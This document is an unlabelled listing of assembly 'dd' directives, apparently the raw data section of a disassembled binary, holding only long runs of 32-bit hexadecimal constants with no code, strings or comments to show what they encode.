dd 1955EDAh, 273237C7h, 0C0168012h, 9BCF7966h, 72E10093h
dd 0D217F24Bh, 0EA0051A9h, 8D11DDDCh, 24A427h, 0B6531FB0h
dd 0CD0151Ch, 9F9C9703h, 0F0EE31h, 703F0568h, 1FB8564h
dd 1607F3E8h, 0A6333635h, 506355F0h, 0EFE000F0h, 0F19BFE1Ah
dd 3204DAACh, 41A839D0h, 22380080h, 0E9730061h, 6608486Fh
dd 471E0F94h, 0EF402963h, 993CB357h, 0FFCE074h, 0A72D4E0Ah
dd 8734F3E0h, 9500DD25h, 0B38297CDh, 716627B1h, 0DBC600B0h
dd 0FF2FD4E8h, 0D0985ACFh, 3EAA5800h, 90441A88h, 0B77C0096h
dd 0A8A64920h, 0BE00989Fh, 5CF3E538h, 18529AEBh, 50218C1Fh
dd 8D383A44h, 886802Bh, 55AF51D6h, 6EF32637h, 0F82D0093h
dd 68BAB748h, 2B00B174h, 45D804F5h, 0E8D29F6Dh, 3B9DF497h
dd 3FF3FB80h, 0B0B05E01h, 86AD7899h, 0D30E4275h, 5F774594h
dd 0C2F7F080h, 239F3h, 0ADCB61A5h, 402E7018h, 0E76FAA1Eh
dd 0D4C56E40h, 1CF353CEh, 0D30729C7h, 7B040042h, 314FCAA5h
dd 6213F700h, 0CB0B4388h, 27EB0067h, 8E56D0DBh, 0E107C1E4h
dd 75E7AC4Dh, 99EE6910h, 0C0780139h, 0D837B9FEh, 12A06042h
dd 0E0174A07h, 61B07CC6h, 0A27055h, 26739A7Ah, 0A8C51DCBh
dd 40DA4E30h, 767F379h, 0DEF401BDh, 0BC44C03Fh, 5FC68D8h
dd 0C21AB900h, 5A599A4Dh, 0EB10023h, 8068AD9h, 0D40E97C8h
dd 0A0EBE1DBh, 93532D1Ah, 2C6FC3Fh, 0E77C860Fh, 0DE414F59h
dd 770824EFh, 8BF0023Dh, 0E9A949h, 95ED1857h, 6E9800BCh
dd 0F6023F37h, 7224AAE3h, 803BD85Ch, 0C48CE5DDh, 7722065Dh
dd 6879004Fh, 0F77FFC0h, 0C9304E9Fh, 0C572A08Bh, 0F1CF00B7h
dd 0B167EFCh, 21B7D8Dh, 0C3208120h, 0DD101D95h, 7578E01Bh
dd 49B09400h, 0C2885540h, 66CF01DBh, 0E9B242B9h, 0D27AE0C3h
dd 28A20A00h, 57B51D10h, 9DC60066h, 5A54EDD0h, 2C16B6E1h
dd 300763A3h, 7C70F959h, 0C2711856h, 4CF39188h, 34982048h
dd 0C5552E00h, 0EF750FDDh, 9AC00056h, 0DBB0EC11h, 14011321h
dd 81E2E87Dh, 15D0D0EEh, 5873005Ch, 5BF86F9Dh, 18000AB9h
dd 87ED7AAAh, 0FF6DD93h, 0EF97138h, 26E88040h, 979E251h
dd 2FC2840Eh, 2B415D28h, 59A75C2Ch, 0D1208882h, 58C005F6h
dd 74001EA1h, 856B4926h, 184CEEC8h, 0D08880F0h, 1D1DA05Ah
dd 7880CF99h, 0F6E171B0h, 0B50F885Dh, 0D111D20Ah, 4E8080CCh
dd 0C0067E2Eh, 0EF0D0023h, 0FCDF7309h, 57009F60h, 1D04A18h
dd 0ADE83Ch, 0D970DB1Fh
dd 2804CFC9h, 0A42DD305h, 0E85E73A9h, 7F4DFE04h, 68B8A2C0h
dd 0E2260320h, 0CD9691DFh, 2DC57112h, 60ED6D01h, 0F020AA02h
dd 7A790F14h, 0F3602BAEh, 0D9A77DB6h, 6DD17460h, 1DA3C4Dh
dd 9432CF91h, 0DC642228h, 0D4A427E1h, 187A6531h, 0F4D06EE8h
dd 2AF27ACFh, 0E7A0B375h, 0F685F4h, 7CB9B59Eh, 486C3670h
dd 1EDA5F03h, 26659629h, 735829h, 3561970h, 54008538h
dd 0BC046BDBh, 3C91B941h, 0A483D29Ah, 0E810FDA0h, 0DD78C3h
dd 9DAC0B70h, 8E009231h, 0BCA5B68Fh, 7A71BD6Fh, 8BA30090h
dd 0CC4341CFh, 3E749FB9h, 0A046F42Ah, 0DA050800h, 0C3482585h
dd 62A2773Dh, 0E481595Bh, 46BC88A0h, 5800645Fh, 95547849h
dd 0B85237h, 0DF7B517Fh, 2384A4A1h, 345AB315h, 0B7020090h
dd 88357D49h, 0FBF90155h, 75562838h, 3B6CD0D8h, 276EDF00h
dd 5EBFD09Ah, 0B0040125h, 0AB8CA493h, 0FEB450F9h, 0C0042773h
dd 10B75DE7h, 0EEEC508Ch, 2FF640h, 19F2206Ah, 0C33ADF30h
dd 4D31E702h, 20E076B9h, 0FF74C0B3h, 179ACD05h, 54C32C91h
dd 72A2807Ah, 298A6082h, 0A111DCB6h, 81C55301h, 36F2E18Ch
dd 6496D18Ah, 0A779808Ch, 0C9F1FEB7h, 87711000h, 587DCFB0h
dd 0BAF40014h, 67700AA9h, 363B6D04h, 0F1A303B9h, 45DEA689h
dd 5C207069h, 0A7E3022Dh, 0A6F1A0EDh, 0D66FD540h, 0AB06B50Ah
dd 4080D476h, 4C4E4797h, 0FDF9030Ch, 0DF777FD9h, 2D145100h
dd 4A34297Bh, 58A11631h, 1E750209h, 98A0A85Ch, 2CFFE1AAh
dd 5DEE91E2h, 0F87F3200h, 0C8E588EBh, 9960065Ah, 5EC0D1E0h
dd 83E8EE0Ch, 0B261B6h, 866B16A6h, 53FD9927h, 84014298h
dd 2805013Fh, 0D3F1E4AEh, 4C9A8820h, 0B960CF16h, 92AD613Fh
dd 818E4913h, 0AAC61820h, 5BF5031Fh, 0EC823867h, 83DA193Fh
dd 0F183BA5Fh, 2DFCE933h, 2B049423h, 80C47D80h, 26E485E3h
dd 9220FC12h, 0CE575827h, 3031EB30h, 0F412009Eh, 0B46605FDh
dd 0EA3A0DD7h, 3A1F0090h, 92B9C1CCh, 2F39C0BFh, 41D3BD74h
dd 6646D72Ch, 0A8409000h, 22E482Ch, 911A9CEh, 0B8908B07h
dd 0CA1CB401h, 0F700D2BEh, 2AFD87B2h, 5BF308ABh, 0EA025A32h
dd 4067854Fh, 11740Ah, 0ADBC3C2Bh, 26270EB4h, 65F3FB00h
dd 8EB91FBAh, 0C7A20023h, 0FE0CAD0Fh, 0EE48596Ch, 0BA5A8038h
dd 2FD265Ch, 0F11C4DDBh, 0B8407161h, 93300AD8h, 4CC62958h
dd 0A7C30EB4h, 0C78081BAh, 0CCE0F6DBh, 0C8A0F12Ah, 50B6A126h
dd 1CB3D740h, 0F3B50310h, 87826AA7h, 90B7170h, 4FB69Dh
dd 856406E0h, 10713B69h, 0D01107F8h, 0F0C0A117h, 0F30426C9h
dd 48BA433Dh, 0B8C30000h, 18205878h, 10491ABh, 0C6CA44Eh
dd 0E082C45Fh, 84D42989h, 4980006Fh, 621FFA8Ch, 9100BD10h
dd 0DBB2A903h, 2417AE36h, 4398DEABh, 57A0BD89h, 0DB005D1Dh
dd 4BD04593h, 3F861E3h, 5B7D3B42h, 79504806h, 922CBA93h
dd 64024473h, 2065969Eh, 1AED048Ch, 0C300E0E2h, 0E82CECEEh
dd 2AEA4CCEh, 80E45C0Ch, 0EAD271B4h, 761C12F1h, 433827DEh
dd 6909470Bh, 908490F6h, 757424h, 0C3A75D18h, 106D67E3h
dd 1383Ah, 484FC7BDh, 14D76E0Ch, 0C8D8A19Bh, 66358981h
dd 946292h, 0D77682AFh, 744CB7h, 8D09DD4Bh, 0CB796FF3h
dd 0E7D33Bh, 356DEE9Eh, 1895B5FEh, 0B95B0CE0h, 6C2611B0h
dd 0B5605C70h, 149B20FEh, 0DC506669h, 6B436D01h, 0D5D422DAh
dd 1FCC4881h, 9E01E97Fh, 0B67F8E8Ch, 29D811FAh, 0C8750053h
dd 0ACBBF3B3h, 0F230EDCCh, 0CB72D83Ah, 53135892h, 36BF2801h
dd 86E5DFADh, 5EC5E151h, 95A00699h, 815B6AF9h, 25E80F06h
dd 212F01h, 0AFD506E6h, 6C4A1A77h, 287BA100h, 9AF644D2h
dd 82461887h, 0D48059EDh, 3C2C2D00h, 0BE7FCBB9h, 0E85F09FFh
dd 0F40BF0CAh, 0A0D0F008h, 17AA26E0h, 67D36088h, 0CC00CDC6h
dd 21073668h, 1F19451h, 4A4CA5E3h, 20143F99h, 74027678h
dd 1FA7227Ah, 0B1244075h, 0E7AD2A5Ch, 5184370h, 0A98ACB1Ah
dd 0BC2024C5h, 1C65DB1Eh, 0C0087102h, 0DC6FF41Ch, 55014563h
dd 4325DA04h, 2822F35Bh, 0A4F07F00h, 0D393FF87h, 424BE0A8h
dd 46B05D00h, 4F972229h, 62902Dh, 1F6511A5h, 1891A8DAh
dd 0A6195B3Fh, 0D3430C96h, 3F25C823h, 6CD400FAh, 70242FC3h
dd 99440A29h, 74B506D2h, 0C9587AE1h, 2E106B4Ch, 7D1C381Dh
dd 95193018h, 50CC006Ah, 7E5CDD29h, 0E1186910h, 84213F20h
dd 3F79DEE5h, 6633D203h, 0A7B0D628h, 0A501DFAAh, 8C98651Eh
dd 2987E181h, 30CC1B7Bh, 4253DADDh, 8B55E500h, 0EEF76AC9h
dd 0BAF202FDh, 0F4E1023Ah, 0DA0FB490h, 1D209905h, 640F085Bh
dd 7BA067BFh, 121C7390h, 6D65240Fh, 0D8B384Ch, 0EC853387h
dd 7B7480AAh, 9E0469E1h, 92D429E5h, 1DF49488h, 8066B1A8h
dd 0ACB73103h, 9350F1E4h, 63B5310h, 0F221D91h, 0AA7BDF83h
dd 4C817AA1h, 4F3EC02Fh, 0C5F80077h, 4374151Eh, 0AA58F6CEh
dd 0ABB980E8h, 0BEA3A1h, 0C4A28C9Fh, 0D1E18741h, 286F7900h
dd 0BA6A88F4h, 24DBE40Dh, 0A3C9E91h, 0C81EEEh, 0A4BC74B4h
dd 0EA3DF426h, 0BC01AE2Bh, 0E8D07A41h, 48D40220h, 9301448Eh
dd 3F5EA1FBh, 95842079h, 421DBD01h, 0B376127Fh, 0DA006832h
dd 923E3D24h, 8F30336Dh, 79619C0h, 0DF4C00F7h, 0D8C2FFCBh
dd 8E0EC669h, 409A3E08h, 0F0EFC1BBh, 3EF5FA78h, 1A042C40h
dd 0A4AB7A76h, 0AA3E3DD4h, 0C37FAC23h, 0B82AA500h, 0EE58D6FBh
dd 5678046Ch, 0CCE12549h, 0E024B260h, 0A0024C9Ah, 90692210h
dd 50ED80E4h, 0C7889Bh, 85B81F20h, 842B89FBh, 95902707h
dd 8112558Eh, 0A83048E2h, 30893866h, 0E98086BEh, 0EEDBD99Fh
dd 0F1051021h, 18BF2CEh, 9CB08000h, 1AA34F4h, 0F547DEA4h
dd 32AB193Ch, 0E34E0424h, 20C04AF7h, 0CCE0420h, 0B12C2D5h
dd 0F14CB280h, 98F2113Ch, 6EBCF60Ch, 0EF020BB9h, 0B42AA8D1h
dd 0A0D84363h, 98D76E3h, 82377C5Dh, 4958810h, 717FC10Eh
dd 0B1C280FCh, 3233F5h, 7EABCD14h, 67438DC5h, 79171217h
dd 5A138904h, 9419C0C0h, 296B2CA4h, 0DCAB0B00h, 0CA429C20h
dd 0F912125Eh, 0F6006DF1h, 0A5E863D6h, 0FBF60199h, 7D16BC79h
dd 6B94D0A1h, 77195314h, 0D06D80A0h, 0E9EAE15h, 1AD19534h
dd 998BCA80h, 0F1F69A71h, 0B2EC20E1h, 5B413F04h, 7201465Eh
dd 287A44C2h, 78138078h, 2531F35h, 6C28B22Ah, 784004B4h
dd 6D25DAD1h, 7FF027EFh, 770E4BC0h, 3B7EBEh, 78FB1357h
dd 58AA64A8h, 63C2A58h, 0E652AD33h, 27E126A9h, 0E7A34010h
dd 4C4BF9C6h, 616F6420h, 2ECF00AFh, 0D182FC6Bh, 211B0E71h
dd 0C2C0DD35h, 91F8C141h, 9C3C20h, 0E7AE61F0h, 5CAFA182h
dd 1903FCB1h, 5E962Ah, 0F9566111h, 0D9CE6445h, 0B075B507h
dd 1C57BB3h, 0F5A1FC00h, 0B86719BFh, 6F743290h, 9CE06308h
dd 0F60018AAh, 8ECFF412h, 1E67F034h, 42B019h, 0B5D43C1Eh
dd 2126E170h, 0B2617C39h, 40818C9Dh, 0DFA0FEBDh, 0E5872F2h
dd 0F4200FD9h, 0C68B0708h, 7AC02FC1h, 4679EFDh, 0E80EFF08h
dd 36BCA476h, 2ABA7900h, 0B51B1478h, 1FF90007h, 0DAF53B1Ch
dd 0D10EAD83h, 8F2864A6h, 0D30D3DF7h, 542008C5h, 0AAEB008Ch
dd 0D29B13B3h, 19018DA2h, 10B90F79h, 12DC62B4h, 41F076Bh
dd 0FE8B6DB1h, 53848A61h, 8881A26Eh, 0DB1AB400h, 27769DB5h
dd 6FF73C74h, 128B5780h, 0B80DDE79h, 0ED2CA802h, 208E5C13h
dd 873B7AFEh, 535B5009h
dd 65C00267h, 797D2147h, 38B0C995h, 35EF189Ch, 55ED39h
dd 32A6CC25h, 7A8608A5h, 0F2AFDB01h, 6C7CF0F4h, 44F19E0h
dd 0EF9CE83Ch, 1B084034h, 387791D7h, 2901527Eh, 0C625D2D0h
dd 0C4E440B4h, 1E015ACAh, 87B5E90Dh, 14246296h, 0CC763FC8h
dd 51211AEh, 0C3485326h, 84D4E17Fh, 2955C01Ch, 0C17DCC39h
dd 3E0ABE02h, 8182DF84h, 0C9659CB4h, 7115C30h, 0E81FF51Eh
dd 0F3795099h, 440184D3h, 0BE62F292h, 45D0914Eh, 5BFD2906h
dd 76860794h, 49D9E0DEh, 8927B75Eh, 707890DAh, 0A9DD6F84h
dd 0BA8BF300h, 0B300AB42h, 0D7141C10h, 0B1F45B62h, 0EA1800B4h
dd 0DBF0A1D1h, 0BEA4960Fh, 6001B639h, 0B1F228C4h, 44C2F825h
dd 437A00E8h, 77D794Ah, 0AD0BF964h, 1B13F3Dh, 0FDE5376Eh
dd 27A4DAC4h, 201215CBh, 78A10480h, 7900860Bh, 9ACB23DDh
dd 0C0DBF24Ch, 913AB2CEh, 40B9F6E1h, 4EC2BBh, 0C58E4ED0h
dd 3A00E07Fh, 0F570A5D4h, 986CBC75h, 0DE1C8118h, 60C40E0h
dd 0A19DF06Eh, 7FE6B9C2h, 92F21113h, 0EDE3B8D0h, 86C00073h
dd 370F32DFh, 0B603BDA5h, 6E8AE83Eh, 4036FA2Ah, 0BF21320h
dd 9A07CC19h, 783CB49Bh, 0B12980D1h, 77ADA458h, 7F3E2537h
dd 16969890h, 0BF543305h, 7CC21945h, 4F392034h, 0DA00A9ACh
dd 0FD6D6E09h, 79AA1387h, 7CF80310h, 68AB916Bh, 0BEAD4900h
dd 0A7C6A2FCh, 9FAE0050h, 36F59019h, 470005CCh, 0FE5AA5D1h
dd 0B9E3CFh, 87AD5263h, 9D08A084h, 0EF581000h, 0D9D67D66h
dd 1C772E6h, 0D3A9BC77h, 804D901Eh, 11E34430h, 2905E1h
dd 0A9C466DFh, 14B97D51h, 65FB0D00h, 70A8AADDh, 1880632h
dd 38452B55h, 5F00647Eh, 0D372E914h, 0C0D474AAh, 150E4340h
dd 0FA32B3D1h, 805228ABh, 2B4612A1h, 0A1690076h, 63F573B2h
dd 0EEE85E30h, 0F2298D61h, 999D4F65h, 8074DF25h, 0E6CD90BBh
dd 3900C06Ch, 5D60C610h, 333D95Eh, 5B4A9DD8h, 400B482Ch
dd 0D65ADh, 0C099E090h, 61C830FDh, 8F396951h, 53319307h
dd 0E9A3D534h, 0A0E7E3E6h, 26015Fh, 0E3EE6F40h, 69D6C52Fh
dd 0D28D5405h, 5001FAB2h, 22E030C2h, 7888F0E7h, 0CBD30D84h
dd 0FC21F811h, 0C10349BDh, 0C2347E76h, 10BED8B3h, 54170019h
dd 2547D1B1h, 4260E538h, 0A27A97B1h, 0D6BD002Ah, 0DB1BB791h
dd 4715B25Ah, 1B446CEh, 0B4181488h, 984001D4h, 6047F863h
dd 5B64D96Ah, 54B058C2h, 0D2DB5480h, 0FDD4B70Ah, 6A4080C9h
dd 3147D554h, 0FA396FCFh, 0F3181AAh, 0A3CBEA59h, 702E2620h
dd 0B7FC0032h, 897B6DEEh, 149041CDh, 9300E884h, 0BA235B40h
dd 1CE9AE6Fh, 0C00E48EAh, 0C7F01DCDh, 1A00C3D8h, 315D2B88h
dd 92B4E4B0h, 0AD154C50h, 5519A03h, 74E09F28h, 493B3D53h
dd 698C81F9h, 0BB2D5888h, 0F55D3182h, 0CC80C78Bh, 1B8AEF11h
dd 4F20090Eh, 0DDF02088h, 0E676245h, 66CF3AD2h, 2BD7809Fh
dd 0E1CE41D4h, 0B78C5750h, 3EEAA88h, 731AACFCh, 90AC8F2Bh
dd 18210D64h, 0AA00A8F2h, 0B2419C26h, 0BBEED79h, 15E28182h
dd 766585h, 39DAFB89h, 41542B7Ch, 0D007F8A4h, 6FEF01Fh
dd 6E2C23h, 89D79B19h, 0AA254A84h, 0E317D000h, 0EE881BFCh
dd 0BFB70540h, 504E90FDh, 0C302A4D0h, 7A5B1D7Eh, 0B2076846h
dd 0F17CD20Bh, 25EDFE30h, 0A7D914FAh, 6C03B030h, 0F42F1582h
dd 4E8C46F8h, 81DC5BF4h, 0C2800F40h, 1E821B4h, 0B7CE2CBDh
dd 0C44B0E9Bh, 0A055B31h, 1CFB9C5Dh, 82DC9040h, 7DB605FFh
dd 6C0D0015h, 6655EFD7h, 0FE00F432h, 841F7E11h, 7E3ED8Ch
dd 0C29F79E4h, 40AA65C1h, 85EEFD8h, 0A97EF32Eh, 21A41800h
dd 91FC76B6h, 81A51C92h, 0AB4E4C9h, 2CDC2269h, 0E42C050Dh
dd 4F8848AEh, 0D540C49Ch, 0C2DD3105h, 24BC0547h, 202B0268h
dd 0BDA265B0h, 9EC74313h, 0D27CE300h, 60FA726Ch, 3DD1D187h
dd 0E9009DA2h, 609EF319h, 48A1BCD7h, 8B09A403h, 41866CDh
dd 0C9001F4Ah, 8C7AAE98h, 7A639597h, 0D2400017h, 0A4A665D8h
dd 1E3BC35Eh, 130E80DAh, 0EA4ECFE0h, 598D2601h, 0C5890190h
dd 30E8C2DBh, 0C4028C74h, 0CB2A5F22h, 8E2CE03Dh, 128900A7h
dd 0A588F07h, 68602BF6h, 0C41981D1h, 37181D55h, 3E9D84D2h
dd 0C2088308h, 7AD80CF5h, 0D505ADD9h, 0BFE3D4BCh, 0E459BC40h
dd 303ECD82h, 6851622Ah, 800F8848h, 0E1241A3Dh, 67BC20F1h
dd 0D5C8C03Eh, 611E0A6Fh, 93877268h, 6E13B5Fh, 0F041B78Eh
dd 3371CE1Ah, 0D53820h, 7D3FE302h, 1920E3Dh, 0ECF68C08h
dd 47AA84C5h, 0EB48C869h, 9B5DB607h, 0B710118Bh, 0B16CDCF5h
dd 76B40338h, 98E3C9DDh, 40CC47B9h, 0B66DEA1Ch, 0C8966C2Ah
dd 10075B1Bh, 3A4BEBF1h, 0E9801929h, 1FD8AF75h, 890495A9h
dd 0FB830414h, 347C4C8h, 93B0FA4h, 0FDE94D96h, 28433C7h
dd 7847B72Eh, 4FC2203Ch, 0CC0048CFh, 1E3E2B7Eh, 903BD297h
dd 0D7E600B0h, 58C813BEh, 47181F4Bh, 0DDA1F075h, 70341F33h
dd 48C4046Fh, 8140C4F4h, 60D6017Ch, 7A00E430h, 0CB1672BDh
dd 286E5812h, 0C78E247h, 0F5C3F27Dh, 6F1AC411h, 18F1462Ch
dd 1B8D2D14h, 0E119FABEh, 7E935380h, 55C98F03h, 0E82DBA72h
dd 5001E68Ch, 0FD2E83Dh, 64887D0Bh, 398111C6h, 90DB6B03h
dd 0D08EF2E2h, 3C5D9D8Bh, 0F0B654Ah, 0E006B845h, 54C44B3h
dd 30B84848h, 58B2C8D7h, 0CF7900F6h, 51A245B4h, 1E00B132h
dd 8756517h, 0B0241C0Fh, 97CC2A30h, 1EE53090h, 0CB654279h
dd 0BD5BA000h, 4A678526h, 74550016h, 0AAAC3F98h, 0ACA42BF8h
dd 3D00FA7Ch, 8CA4AFBFh, 0E40B52ECh, 0B1E90048h, 0DD88F5A1h
dd 42F318E5h, 542A68A0h, 0E4D15F0Eh, 0FCC1E0D2h, 0E016AAC7h
dd 5EDBB100h, 0BCFAE3E8h, 65E000C2h, 0CD911F62h, 0FF2E762Dh
dd 0FCC1407Ch, 0F494DB58h, 7664FAh, 0DF8CE91Ah, 0AE5C1133h
dd 8029CC00h, 968D97C3h, 8847607Ah, 9BEE17CAh, 0FA69F3Fh
dd 8B66D3C0h, 88D010ECh, 577004D7h, 8158F22Dh, 70088134h
dd 4C98FCB9h, 30D059E6h, 6C2D0260h, 0C6286FCCh, 0A12E060Ch
dd 41F8BAEBh, 0E4B19709h, 4D08A0B6h, 39EC0FD6h, 1E806A45h
dd 0FB48BCF6h, 2F14CE5Bh, 4F064E8h, 88ED50F7h, 6E225C80h
dd 0C4D4530Ah, 0BD766200h, 2CC74EC0h, 0BC94BB03h, 80A59D96h
dd 25B493Bh, 0EB5C6AE8h, 46C25902h, 337158A0h, 0CB009E67h
dd 0BCB7DBACh, 0ECAE6612h, 0A51498FAh, 0FB9E10h, 0B1E60150h
dd 20007699h, 0D414267Ah, 70981574h, 90C30AEAh, 8734FC01h
dd 90057F28h, 7826E039h, 6310D316h, 0F3F5A820h, 9A9504B3h
dd 0C890F224h, 0C4001300h, 0E926FE02h, 2E91632Ah, 4438725Bh
dd 0A8C8886Dh, 0D500CE73h, 7B842623h, 0E2D6162Dh, 6DDE080Bh
dd 866058D2h, 0FF12C4Ch, 32E7759Eh, 13BCB240h, 0B1019DEAh
dd 0CEF32B90h, 4070B3E8h, 0C4D10005h, 0A1946349h, 1E14C50Fh
dd 185CF7C3h, 2859B473h, 32B200F6h, 4170BAD8h, 9251E0h
dd 3C0EB070h, 41A92E38h, 315B32Bh, 983D6CC0h, 0E3610740h
dd 201D4DB0h, 62A56687h, 14D8C248h, 0F5CE50Dh, 0C077F7CAh
dd 0C3B9E45Dh, 3137575h, 0A41A862Eh, 292FE5FAh, 936080AEh
dd 715DA3D4h, 36A600A8h, 0F1323A23h, 0F4073B6Fh, 0B8C4677Ch
dd 3090A2C4h, 2578617h, 8F68B075h, 9C8C8BDDh, 2A4BD4A0h
dd 37092440h, 160AA5C3h, 557F7C6h, 882C53A8h, 0C8000E64h
dd 34808D16h, 4E451Ah, 0B1114FA4h, 6E2517A0h, 0E0BA292Ah
dd 1416EE78h, 0EC300549h
dd 0E7368B9h, 175C9977h, 0E68D78F8h, 2528BC13h, 0C5373107h
dd 6EC38B31h, 5B000022h, 0F9663AD1h, 0EFA0A390h, 0B500FB0Fh
dd 3B58ED6Bh, 17D1151Ah, 6EBA6ABh, 0B1472C00h, 0C20AEC00h
dd 0C5B503EEh, 11E3CDAh, 0F95CE201h, 407BB7B3h, 8BD90A94h
dd 68E8B62Eh, 46345B42h, 0A84500F0h, 6FC61685h, 19C34906h
dd 97B72547h, 529114Ch, 62DBBD39h, 0A645C1A8h, 0F4CC077h
dd 1798C448h, 4800AFF9h, 0A4D9795Bh, 30264CEEh, 6BBD4700h
dd 68E4F517h, 0AD0FC501h, 0F36DDBE8h, 29334400h, 0EA0E49FAh
dd 20B1A1FAh, 0E646209Eh, 136E1704h, 0B440088Eh, 0FDC7839Ch
dd 6C67C49Bh, 80E92D0h, 757E001Fh, 4CAB5523h, 78241488h
dd 6D0088CFh, 133FD08Ch, 0AC7C0C0Bh, 5518B8C3h, 0B0BAF6F4h
dd 0CBDEF100h, 9366BFCCh, 30ED58CFh, 6B251Fh, 55289C06h
dd 0D20F9ABDh, 6BC9385Eh, 52EC0494h, 45285B42h, 0F16C94A3h
dd 51A1900h, 9A9B074Dh, 8CA30777h, 20728176h, 0AE254BF2h
dd 15C10F0Ah, 0D70124E4h, 0D2E7F82Ch, 1420CBE9h, 4B6E220Eh
dd 1BC00250h, 7F309C1Dh, 287D0F40h, 261B5E4h, 576974A0h
dd 0CC510588h, 84A75600h, 4B620743h, 2FBB80BCh, 0BF0E7E42h
dd 0EF1B6A50h, 46DD40FCh, 12DC40Dh, 69F3A58Ah, 81F26C88h
dd 0CB838279h, 0E3DC3406h, 482D0089h, 5A2409F1h, 0A80F3F0Fh
dd 0C79C9460h, 21901F71h, 914C066Eh, 214E3E24h, 2CE21330h
dd 0E0137628h, 3420E54Ch, 70C153Eh, 0D4FC0407h, 6D3A90FEh
dd 8E2EA567h, 0CB10A42Bh, 0E83DC780h, 50032FCh, 267540A5h
dd 4D70F511h, 0D80224FAh, 0C6EDE65h, 3CD7F261h, 6AA1805Ch
dd 2D42C3FEh, 0EFFC6747h, 744DB800h, 5A5D4ACh, 394CC7EFh
dd 2894C106h, 69EE1049h, 40E74B29h, 0AC37C340h, 9C0038A2h
dd 55563271h, 36F298h, 2944D8Eh, 5D90FF8h, 0F604E300h
dd 8CEB73C2h, 53E229B6h, 50010B88h, 5B35E400h, 56024CE3h
dd 0FDEAEDF1h, 33FC913Bh, 0D87206F9h, 61C47C00h, 62A9D167h
dd 1915E030h, 68072Dh, 0FF7D856Fh, 1EE7F99Ch, 92441D1Eh
dd 0ECD78B81h, 9051A8E8h, 14FCED10h, 0B650796h, 83A4FB6Bh
dd 210184E5h, 0F7BA7367h, 97F893E3h, 6ED309FCh, 28E8E04Ah
dd 1300BDD5h, 3E8425D9h, 7825BBFh, 0B30A5749h, 28F4408Bh
dd 3C988D35h, 0B9ACF022h, 0E3803B3Ch, 0C16B1F02h, 0C3FE8D4Fh
dd 0A2668903h, 0F8398AE7h, 920A5B3Bh, 0A870FD84h, 2A89256Bh
dd 29599800h, 0AC0116E5h, 5C839BEBh, 0ABE570C0h, 1C76D050h
dd 0F4C5FCDCh, 299C010Fh, 2BEFE893h, 0BCF5E043h, 0AC5F2A4Eh
dd 0BE018F80h, 60DAB0h, 9CB1D779h, 3265029Bh, 5E8004B9h
dd 4D1E3597h, 9DD9020Dh, 0CD47CE59h, 23BD451h, 8EE9F52Fh
dd 0C2DC8001h, 0ECC4BA5Eh, 30A1E67Dh, 44A1361Eh, 0FD25EBC3h
dd 2C2BCEh, 7715EC5Ch, 5B71C45Ah, 7AC4B407h, 2D49D098h
dd 16548048h, 191010Dh, 0F824CF53h, 2094020Bh, 690C5E2Ch
dd 314DE704h, 0F24127D7h, 5367A8A7h, 0D2A365C9h, 97F0E599h
dd 3AE8A69h, 10E3725Fh, 89936390h, 7AC7DD00h, 84136F2Eh
dd 0A8D009D7h, 0A0682C74h, 6A006622h, 0FAB488Bh, 103F56h
dd 71ACC04h, 86803305h, 0ACC7D62Eh, 8CE8B980h, 262558h
dd 7D1D3760h, 52FB64DEh, 0D8F58305h, 48001E11h, 0BC5DF6CAh
dd 714F00D4h, 0CDDF15Eh, 0BF00B761h, 0C3DBFE45h, 16C466C1h
dd 687328h, 0EB2F0338h, 0ED015912h, 0A0F625ABh, 4030F871h
dd 3C57416h, 935EBC2Ah, 72B1D62Ch, 7462E0h, 2F064B85h
dd 0F72026h, 0B66845AEh, 36FAC4E9h, 0EA0511F8h, 0A917F27Dh
dd 18FB2480h, 0CE04C22h, 0DD155D83h, 39C54CB0h, 0E3D4500h
dd 890155A4h, 24BE04FCh, 80593AA1h, 0C6AFF868h, 63C4AD62h
dd 0E4044820h, 585C0E04h, 9404BCBDh, 0B767C0FBh, 0C006284h
dd 0E9C19CDAh, 57C34DDh, 8BF55B8Dh, 0A2041C4h, 4080D223h
dd 6EC17A8Eh, 7393BE01h, 4FFB24C4h, 0FC22FBF3h, 0E85D74A0h
dd 521C4011h, 17EDB401h, 41D86E51h, 0F31420h, 38E19BF7h
dd 614A07BAh, 43FB926h, 12B9C60h, 298E00FAh, 0A43111E3h
dd 0D124166Dh, 0F404E03Ch, 3CCCD2F5h, 0AFE6122Ch, 0FB808894h
dd 11F1AA03h, 0F8F2885Bh, 1F70F68Eh, 0A67833B0h, 1B5211FCh
dd 0A8491FE5h, 703AAE3h, 0E64066BAh, 738A201Ah, 0DA06EFCEh
dd 0E9777B62h, 7D420F39h, 9520F948h, 0F45E3DD4h, 706DBA2Ch
dd 15995541h, 63D8BFC9h, 0F87F2892h, 0F01400A8h, 2945BBB7h
dd 1A09ED60h, 0A5BA50Ah, 0C317EED4h, 63B29804h, 0AC80CC42h
dd 0B7C55498h, 8D508E03h, 0C0778C4Dh, 0A0EA57E1h, 58073DEDh
dd 2A0664E3h, 91F86D44h, 431C7E00h, 0FF758924h, 56870B7Ch
dd 48446212h, 923A1FFEh, 21E0053h, 0DCB614F4h, 5EC71458h
dd 0C2127C63h, 0A2B0006Ch, 767420D0h, 30A9455Ch, 7BE021EAh
dd 0C434002Ah, 5147397Eh, 17161F5Fh, 0D001C00Bh, 20BA5671h
dd 9D809028h, 2DE98A8h, 6CE5E401h, 0E9316BDCh, 5CA69AD8h
dd 71004817h, 4C13656Ah, 0B14CB9C4h, 0C26F01ECh, 8A196981h
dd 5CAACECh, 0FA797D74h, 24944086h, 7FC59DBDh, 0DED5EB00h
dd 73F54F4Ah, 0B621C082h, 1E2649C4h, 0CA7CBB1Dh, 0C898C813h
dd 98C8966Eh, 0D9CB425Ah, 0EEEF4600h, 77CF6695h, 4F2CBCC4h
dd 0DB00E9EEh, 662BC62Ch, 69ED8800h, 0BE350341h, 9CE44CB2h
dd 0C828D480h, 5AEE6F34h, 7E93675Ch, 20639C25h, 0B570A360h
dd 1E5E215h, 0F5AF93DEh, 0F48D3907h, 0AB00E983h, 14B6DFCAh
dd 0A2CDF256h, 45BA6054h, 97F9E7AAh, 6AC15889h, 61050418h
dd 7E37081Dh, 0E9496880h, 26C9E789h, 7DC42BDh, 4097B552h
dd 0F90A6FB4h, 0E4659B90h, 8489E0E1h, 0DFA1C0h, 8B482396h
dd 0B26B0358h, 0E43863Fh, 813B4C1Fh, 76BDFEE9h, 98F30830h
dd 0FE41312h, 9B48C81Eh, 466AD800h, 0B2084A8Eh, 16277E4Ch
